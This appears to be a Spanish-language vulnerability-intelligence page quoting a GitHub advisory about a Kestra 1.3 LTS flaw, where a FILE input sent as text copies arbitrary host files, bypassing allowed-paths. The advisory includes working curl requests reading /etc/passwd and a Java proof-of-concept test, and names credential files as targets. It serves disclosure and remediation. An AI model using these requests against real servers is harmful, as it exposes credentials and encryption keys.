llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Maven · io.kestra:kestra

GHSA-WV8G-GFWP-CJ9W

1.3 LTS: a FILE input sent as a text value copies any file on the server host into the execution (allowed-paths bypass; fix for kestra-ee#10308 not backported)

Parche disponible
Descargar PNG JSON
CVSS 3.1
6.5
Media
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -9 d de la divulgación
Exposición9 dDesde la divulgación, 12 nov 2026, 5:46 a. m.
Detección6 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Para el próximo sprint, sin estrés.Sin drama: ventana de mantenimiento y listo.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche 1.3.46
Monitoreo
Detectada +1
3 nov 26
12 nov 26
19 nov 26
21 nov 26
3 nov 26
7 nov 26
12 nov 26
17 nov 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 1.3.46 io.kestra:kestra · -9 d desde divulgación
Divulgación Publicada GHSA-WV8G-GFWP-CJ9W divulgada · CVSS 6.5 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

On the 1.3 LTS line, when a `FILE` input receives a value without a URI scheme, `FlowInputOutput.parseType` reads that path from the host filesystem and copies the file into internal storage, with no `kestra.local-files.allowed-paths` check. Anyone who can create an execution of a flow with a `FILE` input can send the input as a plain multipart text part (`myfile=/etc/passwd`) instead of a file upload, then download the stored copy through the execution's file endpoint.

This is the issue fixed on develop by #18557 (`fix(core): enforce allowed-paths on host paths given to FILE inputs`, closes kestra-ee#10308) and shipped in 2.0.x (present in 2.0.6). It was not backported: `releases/v1.3.x` at 6d82d8a (after 1.3.45) still has the unguarded read.

Impact
  • Arbitrary file read on the host that parses the inputs (the webserver, which resolves inputs when the execution is created), limited only by the OS permissions of the Kestra process. Examples: Kestra's own configuration (database credentials, `kestra.encryption.secret-key`, the EE license, IdP client secrets), files mounted for other services, `/proc/self/environ`.
  • Who can do it: any user allowed to create an execution of a flow that declares a `FILE` input (or to resume a paused execution with a `FILE` `onResume` input, which goes through the same parsing). The request is the normal create-execution call; the user needs no right to edit flows or to read files.
  • It defeats `kestra.local-files.allowed-paths`, the documented control for host file access: with the same configuration, `read('file:///etc/passwd')` and `LocalPath` refuse the path, while the `FILE` input copies it.
  • EE: a role that can execute flows but not edit them (an operator or service account) can read the server's secrets. Not verified on EE (we don't have EE code); the code path is the OSS `FlowInputOutput`, which EE uses.
  • OSS: a user who can create executions can usually also edit flows and run scripts, so the gain is smaller: it reads files on the webserver host (which can differ from the workers) and bypasses an explicit administrator setting.
Affected versions and components
  • Component: `core`, `FlowInputOutput.parseType`, `case FILE` https://github.com/kestra-io/kestra/blob/6d82d8a94980c7dfd1eb314299b6c4ca2333a48e/core/src/main/java/io/kestra/core/runners/FlowInputOutput.java#L582-L590 on `releases/v1.3.x`. A text part reaches it through `readData` https://github.com/kestra-io/kestra/blob/6d82d8a94980c7dfd1eb314299b6c4ca2333a48e/core/src/main/java/io/kestra/core/runners/FlowInputOutput.java#L176-L181, which turns every non-file multipart part into a string value.
  • Affected: every 1.3.x release, 1.3.0 to 1.3.45, and the branch head. The code dates from #7882 (March 2025), so 1.0.x-1.2.x (out of support) are affected too.
  • Not affected: 2.0.x (fixed by #18557, present in 2.0.6) and develop.
  • Routes: `POST /api/v1/{tenant}/executions/{namespace}/{id}` (create; proven below). From the code, not run: `POST /api/v1/{tenant}/executions/{namespace}/{id}/validate` and `POST /api/v1/{tenant}/executions/{executionId}/resume` (for a `FILE` `onResume` input) reach the same `parseType`.
Steps to reproduce

Any 1.3.x instance, and a flow with a `FILE` input, for example:

id: upload_report
namespace: company.team
inputs:
  - id: report
    type: FILE
tasks:
  - id: log
    type: io.kestra.plugin.core.log.Log
    message: "{{ inputs.report }}"
  1. As a user who can create executions of that flow, send the input as a text field (curl `-F name=value`, no `@`), holding a path on the server:

```bash
curl -u user:password -X POST \
http://kestra:8080/api/v1/main/executions/company.team/upload_report \
-F 'report=/etc/passwd'
```

The execution is created, and `inputs.report` is a `kestra://` URI in the execution's input storage, holding a copy of the server's file.
2. Download it:

```bash
curl -u user:password \
"http://kestra:8080/api/v1/main/executions/<id>/file?path=<the kestra:/// URI, URL-encoded>"
```

PoC through the real routes. `ExecutionControllerTest.pocFileInputCopiesAHostFileOutsideAllowedPaths` (diff at the end) writes `kestra-host-secret` to a file in a temporary directory, checks that `localPathFactory.createLocalPath().get(...)` refuses that path (`SecurityException`: no `allowed-paths` are configured in the test), then sends the requests above for the `inputs` test flow with `file=<that path>` as a text part.

  • On `releases/v1.3.x` at 6d82d8a (after 1.3.45): passes. The create call returns 200, `inputs.file` is a `kestra://` URI, and `GET /executions/{id}/file` returns `kestra-host-secret`.
  • The same test on `develop` at 8670aa6fb: the create call fails with 422, ``The path /tmp/junit-.../host-secret.txt is not authorized. Path must be allowed either globally inside the Kestra configuration using the `kestra.local-files.allowed-paths` property.``

I didn't run the curl commands against a deployed 1.3 instance; they are the requests the test sends.

Details

`FlowInputOutput.readData` turns every multipart part that is not a file upload into a string value keyed by the part name. For a `FILE` input, `parseType` then does:

case FILE -> {
    URI uri = URI.create(current.toString().replace(File.separator, "/"));

    if (URIFetcher.supports(uri)) {
        yield uri;
    } else {
        yield storageInterface.from(execution, id, current.toString().substring(current.toString().lastIndexOf("/") + 1), new File(current.toString()));
    }
}

A value without a scheme isn't supported by `URIFetcher`, so `new File(value)` is opened and copied into internal storage, without going through `LocalPath`. On develop and 2.0.x, #18557 replaced that `else` branch with `localPathFactory.createLocalPath().get(requestedFile.toURI())`, which checks `kestra.local-files.allowed-paths` and opens the path it checked. The `file://` form was already checked at read time, so only the schemeless form is affected.

The fix's PR for 2.0.x (#19083) was closed and the change reached 2.0.x another way; I found no PR or commit for `releases/v1.3.x`. Other security fixes were backported there (for example #16298, GHSA-qw4v-6w32-xx9h), so this looks missed rather than out of scope.

Severity

CVSS 3.1: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` (6.5, Medium). Confidentiality is High because the files reachable include the server's own credentials and encryption key. On OSS, where flow editing usually comes with execution rights, the practical severity is lower.

Fix

Backport #18557 to `releases/v1.3.x`: read a schemeless `FILE` value through `LocalPathFactory.createLocalPath().get(...)`, which applies `allowed-paths` and opens the path it checked, and store that stream with `storageInterface.put(...)`. The develop commit doesn't apply as is (the constructor differs on 1.3), but the change is the same: inject `LocalPathFactory` and replace the `else` branch.

PoC test (on `releases/v1.3.x`)

<details><summary>ExecutionControllerTest diff</summary>

diff --git a/webserver/src/test/java/io/kestra/webserver/controllers/api/ExecutionControllerTest.java b/webserver/src/test/java/io/kestra/webserver/controllers/api/ExecutionControllerTest.java
index f664d39295..9644d36fb4 100644
--- a/webserver/src/test/java/io/kestra/webserver/controllers/api/ExecutionControllerTest.java
+++ b/webserver/src/test/java/io/kestra/webserver/controllers/api/ExecutionControllerTest.java
@@ -5,6 +5,8 @@ import java.io.File;
 import java.net.URI;
 import java.net.URLEncoder;
 import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
 import java.time.Duration;
 import java.time.ZoneId;
 import java.time.ZonedDateTime;
@@ -52,6 +54,10 @@ import lombok.extern.slf4j.Slf4j;
 
 import static io.kestra.core.tenant.TenantService.MAIN_TENANT;
 import static io.micronaut.http.HttpRequest.GET;
+import org.junit.jupiter.api.io.TempDir;
+
+import io.kestra.core.runners.LocalPathFactory;
+
 import static org.assertj.core.api.Assertions.assertThat;
 import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
 import static org.junit.jupiter.api.Assertions.assertThrows;
@@ -79,6 +85,9 @@ class ExecutionControllerTest {
     @Inject
     protected LocalFlowRepositoryLoader repositoryLoader;
 
+    @Inject
+    private LocalPathFactory localPathFactory;
+
     public static final String TESTS_FLOW_NS = "io.kestra.tests";
     public static final String TESTS_WEBHOOK_KEY = "a-secret-key";
 
@@ -632,6 +641,43 @@ class ExecutionControllerTest {
         );
     }
 
+    @Test
+    @LoadFlows(value = { "flows/valids/inputs.yaml" })
+    void pocFileInputCopiesAHostFileOutsideAllowedPaths(@TempDir Path hostDir) throws Exception {
+        Path hostFile = hostDir.resolve("host-secret.txt");
+        Files.writeString(hostFile, "kestra-host-secret");
+
+        // the configured local-files policy refuses this path
+        assertThrows(SecurityException.class, () -> localPathFactory.createLocalPath().get(hostFile.toUri()));
+
+        // the FILE input is sent as a plain text part holding the host path, not as a file upload
+        MultipartBody body = MultipartBody.builder()
+            .addPart("string", "myString")
+            .addPart("enum", "ENUM_VALUE")
+            .addPart("int", "42")
+            .addPart("float", "42.42")
+            .addPart("instant", "2019-10-06T18:27:49Z")
+            .addPart("file", hostFile.toString())
+            .addPart("secret", "secret")
+            .addPart("array", "[1, 2, 3]")
+            .addPart("json", "{}")
+            .addPart("yaml", "{}")
+            .build();
+        Execution execution = client.toBlocking().retrieve(
+            HttpRequest.POST("/api/v1/main/executions/" + TESTS_FLOW_NS + "/inputs", body).contentType(MediaType.MULTIPART_FORM_DATA_TYPE),
+            Execution.class
+        );
+
+        String storedUri = execution.getInputs().get("file").toString();
+        String downloaded = client.toBlocking().retrieve(
+            GET("/api/v1/main/executions/" + execution.getId() + "/file?path=" + URLEncoder.encode(storedUri, StandardCharsets.UTF_8)),
+            String.class
+        );
+        System.out.println("POC stored input URI: " + storedUri);
+        System.out.println("POC downloaded content: " + downloaded);
+        assertThat(downloaded).isEqualTo("kestra-host-secret");
+    }
+
     @Test
     void shouldNotLeakFilePreviewFromAnotherExecution() throws Exception {
         // Given - execution A exists in the repository

</details>

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
io.kestra:kestra≤ 1.3.45
1.3.45
2.0.10
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
mavenio.kestra:kestra
Corregida 1.3.46 -9 d 2.0.10 no afectada
Versiones corregidas1.3.46
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/kestra-io/kestra/security/advisories/GHSA-wv8g-gfwp-cj9w

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.